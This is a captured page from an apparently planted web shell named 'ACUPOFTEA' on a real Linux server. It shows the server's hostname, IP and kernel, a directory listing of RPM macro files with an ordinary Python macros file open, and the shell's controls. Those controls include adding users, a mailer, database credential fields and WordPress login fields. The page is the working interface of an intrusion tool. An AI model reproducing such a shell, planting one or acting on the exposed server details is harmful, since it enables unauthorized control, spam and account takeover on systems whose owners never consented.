System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib
/
rpm
/
macros.d
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
macros.python-srpm
# python3_pkgversion specifies the version of Python 3 in the distro. It can be # a specific version (e.g. 34 in Fedora EPEL7) %python3_pkgversion 3 # Set to /bin/true to avoid %ifdefs and %{? in specfiles %__python3_other /bin/true %py3_other_build /bin/true %py3_other_install /bin/true # Define where Python wheels will be stored and the prefix of -wheel packages # - In Fedora we want wheel subpackages named e.g. `python-pip-wheel` that # install packages into `/usr/share/python-wheels`. Both names are not # versioned, because they're used by all Python 3 stacks. # - In RHEL we want wheel packages named e.g. `python3-pip-wheel` and # `python3.11-pip-wheel` that install packages into similarly versioned # locations. We want each Python stack in RHEL to have their own wheels, # because the main python3 wheels (which we can't upgrade) will likely be # quite old by the time we're adding new alternate Python stacks. # - In ELN we want to follow Fedora, because builds for ELN and Fedora rawhide # need to be interoperable. %python_wheel_pkg_prefix python%{?rhel:%{!?eln:%{python3_pkgversion}}} %python_wheel_dir %{_datadir}/%{python_wheel_pkg_prefix}-wheels # === Macros for Build/Requires tags using Python dist tags === # - https://fedoraproject.org/wiki/Changes/Automatic_Provides_for_Python_RPM_Packages # - These macros need to be in macros.python-srpm, because BuildRequires tags # get rendered as runtime requires into the metadata of SRPMs. # Converts Python dist name to a canonical format %py_dist_name() %{lua:\ name = rpm.expand("%{?1:%{1}}");\ canonical = string.gsub(string.lower(name), "[^%w%.]+", "-");\ print(canonical);\ } # Creates Python 2 dist tag(s) after converting names to canonical format # Needs to first put all arguments into a list, because invoking a different # macro (%py_dist_name) overwrites them %py2_dist() %{lua:\ args = {}\ arg = 1\ while (true) do\ name = rpm.expand("%{?" .. arg .. ":%{" .. arg .. "}}");\ if (name == nil or name == '') then\ break\ end\ args[arg] = name\ arg = arg + 1\ end\ for arg, name in ipairs(args) do\ canonical = rpm.expand("%py_dist_name " .. name);\ print("python2dist(" .. canonical .. ") ");\ end\ } # RHEL 9+ and Fedora compatibility macro # Only use in macro backports, not intended to be used in spec files! # In the future, the %%python3_pkgversion macro has a dot, e.g. 3.9 or 3.11 # However, in RHEL 8 at least, it does not, e.g. 38, 39 # This is a helpful macro that determines the proper "Python version" string with dot # from %%python3_pkgversion without actually having Python installed. # For values other than 3X, it should expand to %%python3_pkgversion unchanged. # Examples of %%python3_pkgversion -> %%_python3_pkgversion_with_dot: # 3 -> 3 # 38 -> 3.8 # 39 -> 3.9 # 310 -> 3.10 # 3.12 -> 3.12 # 4 -> 4 # 412 -> 412 %_python3_pkgversion_with_dot %{lua:print((rpm.expand("%python3_pkgversion"):gsub('^3(%d)', '3.%1')))} # Creates Python 3 dist tag(s) after converting names to canonical format # Needs to first put all arguments into a list, because invoking a different # macro (%py_dist_name) overwrites them %py3_dist() %{lua:\ python3_pkgversion_with_dot = rpm.expand("%_python3_pkgversion_with_dot")\ args = {}\ arg = 1\ while (true) do\ name = rpm.expand("%{?" .. arg .. ":%{" .. arg .. "}}");\ if (name == nil or name == '') then\ break\ end\ args[arg] = name\ arg = arg + 1\ end\ for arg, name in ipairs(args) do\ canonical = rpm.expand("%py_dist_name " .. name);\ print("python" .. python3_pkgversion_with_dot .. "dist(" .. canonical .. ") ");\ end\ } # Macro to replace overly complicated references to PyPI source files. # Expands to the pythonhosted URL for a package # Accepts zero to three arguments: # 1: The PyPI project name, defaulting to %srcname if it is defined, then # %pypi_name if it is defined, then just %name. # 2: The PYPI version, defaulting to %version with tildes stripped. # 3: The file extension, defaulting to "tar.gz". (A period will be added # automatically.) # Requires %__pypi_url and %__pypi_default_extension to be defined. %__pypi_url https://files.pythonhosted.org/packages/source/ %__pypi_default_extension tar.gz %pypi_source() %{lua: local src = rpm.expand('%1') local ver = rpm.expand('%2') local ext = rpm.expand('%3') local url = rpm.expand('%__pypi_url') \ -- If no first argument, try %srcname, then %pypi_name, then %name -- Note that rpm leaves macros unchanged if they are not defined. if src == '%1' then src = rpm.expand('%srcname') end if src == '%srcname' then src = rpm.expand('%pypi_name') end if src == '%pypi_name' then src = rpm.expand('%name') end \ -- If no second argument, use %version if ver == '%2' then ver = rpm.expand('%version'):gsub('~', '') end \ -- If no third argument, use the preset default extension if ext == '%3' then ext = rpm.expand('%__pypi_default_extension') end \ local first = string.sub(src, 1, 1) \ print(url .. first .. '/' .. src .. '/' .. src .. '-' .. ver .. '.' .. ext) } # Python packages in RHEL 8 should not provide unversioned python- names # so this macro here is just a compatibility layer and only provides the given name. %py_provides() %{lua: local name = rpm.expand('%1') if name == '%1' then rpm.expand('%{error:%%py_provides requires at least 1 argument, the name to provide}') end local evr = rpm.expand('%2') if evr == '%2' then evr = rpm.expand('%{?epoch:%{epoch}:}%{version}-%{release}') end print('Provides: ' .. name .. ' = ' .. evr .. '\\n') }
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-13 10:57:15
..
DIR
-
drwxr-xr-x
2024-12-18 10:57:28
macros.dwz
text/plain
1.76 KB
-rw-r--r--
2023-04-06 08:55:45
macros.efi-srpm
text/plain
3.01 KB
-rw-r--r--
2021-04-08 10:38:23
macros.environment-modules
text/plain
75 B
-rw-r--r--
2020-07-30 12:13:34
macros.fedora-misc
text/plain
2.76 KB
-rw-r--r--
2023-04-06 08:55:45
macros.fedora-misc-srpm
text/plain
239 B
-rw-r--r--
2023-04-06 08:55:45
macros.firewalld
text/plain
239 B
-rw-r--r--
2025-03-11 09:51:08
macros.forge
text/plain
12.43 KB
-rw-r--r--
2023-04-06 08:55:45
macros.ghc-srpm
text/plain
414 B
-rw-r--r--
2018-08-12 10:37:49
macros.go-srpm
text/plain
7.17 KB
-rw-r--r--
2021-04-08 02:45:20
macros.info
text/plain
390 B
-rw-r--r--
2022-04-18 05:09:26
macros.kernel-srpm
text/plain
116 B
-rw-r--r--
2023-04-06 08:55:45
macros.ldc-srpm
text/plain
73 B
-rw-r--r--
2023-04-06 08:55:45
macros.ldconfig
text/plain
307 B
-rw-r--r--
2023-04-06 08:55:45
macros.mono-srpm
text/plain
181 B
-rw-r--r--
2023-04-06 08:55:45
macros.nodejs-srpm
text/plain
324 B
-rw-r--r--
2023-04-06 08:55:45
macros.ocaml-srpm
text/plain
737 B
-rw-r--r--
2019-10-14 08:31:03
macros.openblas-srpm
text/plain
104 B
-rw-r--r--
2019-10-16 08:47:30
macros.perl
text/plain
5.06 KB
-rw-r--r--
2025-07-28 08:01:58
macros.perl-srpm
text/plain
794 B
-rw-r--r--
2019-10-13 02:18:38
macros.pybytecompile
text/plain
886 B
-rw-r--r--
2023-05-16 12:55:39
macros.python
text/plain
3.36 KB
-rw-r--r--
2023-05-16 12:55:39
macros.python-srpm
text/plain
5.95 KB
-rw-r--r--
2023-05-16 12:55:39
macros.python2
text/plain
1.82 KB
-rw-r--r--
2022-04-21 03:26:14
macros.python3
text/plain
3.63 KB
-rw-r--r--
2023-05-16 12:55:39
macros.rust-srpm
text/plain
61 B
-rw-r--r--
2018-01-08 07:15:07
macros.scl
text/plain
13.53 KB
-rw-r--r--
2023-04-01 04:10:31
macros.selinux-policy
text/plain
6.61 KB
-rw-r--r--
2024-12-17 04:10:18
macros.systemd
text/plain
4.03 KB
-rw-r--r--
2025-04-22 01:58:19
macros.systemtap
text/plain
206 B
-rw-r--r--
2023-10-14 01:06:48
macros.valgrind-srpm
text/plain
127 B
-rw-r--r--
2023-04-06 08:55:45
macros.vim
text/plain
40 B
-rw-r--r--
2025-10-12 12:16:44
macros.vpath
text/plain
228 B
-rw-r--r--
2023-04-06 08:55:45
~ ACUPOFTEA - mail.ontime-ae.com